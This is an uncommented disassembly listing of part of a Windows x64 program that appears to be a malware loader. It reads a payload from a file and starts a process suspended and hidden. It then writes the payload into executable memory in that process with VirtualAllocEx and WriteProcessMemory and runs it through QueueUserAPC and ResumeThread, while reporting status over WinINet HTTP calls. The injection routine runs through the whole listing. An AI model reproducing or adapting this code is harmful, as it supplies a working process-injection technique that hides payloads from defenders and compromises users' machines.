call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400024ea
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400024e5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002556
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000172f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000172a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140001a54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65435041
mov word [rbp + 0x124], 0x72
mov rcx, r13
call fcn.140003bd0
mov rdx, rax
mov rcx, r15
call fcn.140003bd0
mov r9, rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x120]
lea rdx, str._s_s____s
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov r9, rdi
mov r10, qword [rsp + 0x60]
inc r9
cmp byte [r10 + r9], 0
jne 0x1400025d2
mov rcx, rsi
call fcn.140003bd0
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400025e4
mov r8, rdi
mov rcx, rsi
call fcn.140003bd0
mov rdx, rax
mov dword [rsp + 0x20], r9d
mov r9, r10
mov rcx, qword [rbp + 0x110]
call qword [0x140028810]
mov rcx, qword [rsp + 0x60]
call fcn.14001dfb0
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
lea rcx, [rbp + 0x50]
call fcn.140003b60
nop
lea rcx, [rbp + 0x70]
call fcn.140003b60
nop
mov rcx, qword [rbp - 0x70]
call fcn.140003be0
nop
mov rcx, r15
call fcn.140003be0
nop
mov rcx, r13
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rcx, r14
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
nop
mov rcx, r12
call fcn.140003be0
nop
mov rcx, rbx
call fcn.140003be0
nop
mov rcx, rsi
call fcn.140003be0
mov rax, qword [rsp + 0x50]
jmp 0x140003af3
mov ecx, ebx
add ecx, 0x400
cmovb rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
mov qword [rsp + 0x78], rax
add ebx, 0x400
movsxd rax, ebx
mov qword [rbp - 0x68], rax
mov r8, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x90]
mov r8d, ebx
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_ReadFile]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
movups xmmword [rbp + 0xd4], xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
mov dword [rbp + 0x104], eax
mov dword [rbp + 0xa0], 0x68
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rdx, qword [rbp + 0x50]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
test eax, eax
je 0x140002a28
call fcn.140003bd0
mov r9, rax
mov rcx, r14
call fcn.140003bd0
mov r8, rax
mov rcx, r12
call fcn.140003bd0
mov rdx, rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x140028818]
mov qword [rbp - 0x78], rax
test rax, rax
je 0x14000214a
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x116], eax
mov dword [rbp + 0x110], 0x70615041
mov word [rbp + 0x114], 0x63
mov rcx, r13
call fcn.140003bd0
mov rdx, rax
mov rcx, r15
call fcn.140003bd0
mov r9, rax
mov ecx, dword [rbp - 8]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x110]
lea rdx, str._s_s___s___lu
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov r9, rdi
mov rax, qword [rsp + 0x60]
inc r9
cmp byte [rax + r9], 0
jne 0x140002883
mov rcx, rsi
call fcn.140003bd0
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002895
mov r8, rdi
mov rcx, rsi
call fcn.140003bd0
mov rdx, rax
mov dword [rsp + 0x20], r9d
mov rdi, qword [rsp + 0x60]
mov r9, rdi
mov rcx, qword [rbp - 0x78]
call qword [0x140028810]
mov rcx, rdi
test eax, eax
jne 0x140002977
call fcn.14001dfb0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
lea rcx, [rbp + 0x50]
call fcn.140003b60
nop
lea rcx, [rbp + 0x70]
call fcn.140003b60
nop
mov rcx, qword [rbp - 0x70]
call fcn.140003be0
nop
mov rcx, r15
call fcn.140003be0
nop
mov rcx, r13
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rcx, r14
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
nop
mov rcx, r12
call fcn.140003be0
nop
mov rcx, rbx
call fcn.140003be0
nop
mov rcx, rsi
call fcn.140003be0
mov rax, qword [rsp + 0x50]
jmp 0x140003af3
call fcn.14001dfb0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp - 0x68]
xor edx, edx
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140002a0b
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x68]
mov r8, qword [rsp + 0x78]
mov rdx, rdi
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002a0b
xor r8d, r8d
mov rdx, qword [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000263c
call fcn.140003bd0
mov r9, rax
mov rcx, r14
call fcn.140003bd0
mov r8, rax
mov rcx, r12
call fcn.140003bd0
mov rdx, rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x140028818]
mov qword [rbp + 0x110], rax
test rax, rax
je 0x14000214a
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65435041
mov word [rbp + 0x124], 0x72
mov rcx, r13
call fcn.140003bd0
mov rdx, rax
mov rcx, r15
call fcn.140003bd0
mov r9, rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x120]
lea rdx, str._s_s____s
mov rcx, qword [rsp + 0x78]
call fcn.1400010e0
mov r9, rdi
mov r10, qword [rsp + 0x78]
nop
inc r9
cmp byte [r10 + r9], 0
jne 0x140002af0
mov rcx, rsi
call fcn.140003bd0
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002b02
mov r8, rdi
mov rcx, rsi
call fcn.140003bd0
mov rdx, rax
mov dword [rsp + 0x20], r9d
mov r9, r10
mov rcx, qword [rbp + 0x110]
call qword [0x140028810]
mov rcx, qword [rsp + 0x78]
jmp 0x140002615
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x140002b47
mov rdx, qword [r12]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140002b54
mov r8, qword [r14]
mov r9, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140002b61
mov r9, qword [rdi]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x140028818]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140002e7c
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140002c09
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002c04
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003382
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140002c55
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140002c4e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003389
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140002ca0
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140002c9b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003390
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140002cf2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002ced
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003397
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140002d3b
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140002d36
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000339e
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140002d8a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002d85
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400033a5
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140002dd5
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x140002dd0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400033ac
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140002e1e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002e19
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002e75
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000172f
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140002e66
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400030fe
mov rcx, r8
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x140003ae4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov rdi, rax
mov qword [rbp + 0x120], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x116], eax
mov dword [rbp + 0x110], 0x65435041
mov word [rbp + 0x114], 0x72
mov rax, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140002ec9
mov rax, qword [r13]
mov r9, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140002ed6
mov r9, qword [r15]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x110]
lea rdx, str._s_s____s
mov rcx, rdi
call fcn.1400010e0
cmp qword [rsi + 0x18], 0xf
jbe 0x140002f00
mov rdx, qword [rsi]
mov r10, rdx
jmp 0x140002f06
mov r10, rsi
mov rdx, rsi
mov rdi, 0xffffffffffffffff
mov rax, rdi
mov rcx, qword [rbp + 0x120]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002f17
inc rdi
cmp byte [rdx + rdi], 0
jne 0x140002f20
mov r8, rdi
mov dword [rsp + 0x20], eax
mov rdi, rcx
mov r9, rcx
mov rdx, r10
mov rcx, qword [rsp + 0x78]
call qword [0x140028810]
mov rcx, rdi
test eax, eax
jne 0x140003105
call fcn.14001dfb0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rdi, qword [rsp + 0x50]
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rdi
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140002fd6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002fd1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003382
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140003020
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000301b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003389
mov rcx, r8
call fcn.14001dfb0
xor ebx, ebx
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], 0xf
mov byte [r15], bl
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000306c
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140003067
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003390
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rcx, r14
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
nop
mov rcx, r12
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x60]
call fcn.140003be0
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400030e6
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400030e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400030fe
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 0xf
mov byte [rsi], al
mov rax, rdi
jmp 0x140003af3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14001dfb0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rdi, qword [rsp + 0x50]
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rdi
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000318c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003187
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003382
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400031d8
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1400031d1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003389
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140003223
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000321e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003390
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003275
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003270
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003397
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400032be
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1400032b9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000339e
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000330d
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003308
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400033a5
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140003354
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000334f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400033ac
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rcx, qword [rsp + 0x60]
call fcn.140003be0
nop
mov rcx, rsi
call fcn.140003be0
mov rax, rdi
jmp 0x140003af3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r9, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400033c0
mov r9, qword [rdi]
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400033cf
mov rdx, qword [r12]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x1400033dc
mov r8, qword [r14]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x140028818]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140003725
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003484
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000347f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036ed
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400034d0
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1400034c9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036f4
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000351b
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140003516
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400036fb
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000356d
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003568
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003702
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400035b6
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1400035b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003709
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140003605
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140003600
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003710
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140003650
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000364b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003717
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000369d
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140003698
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000371e
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
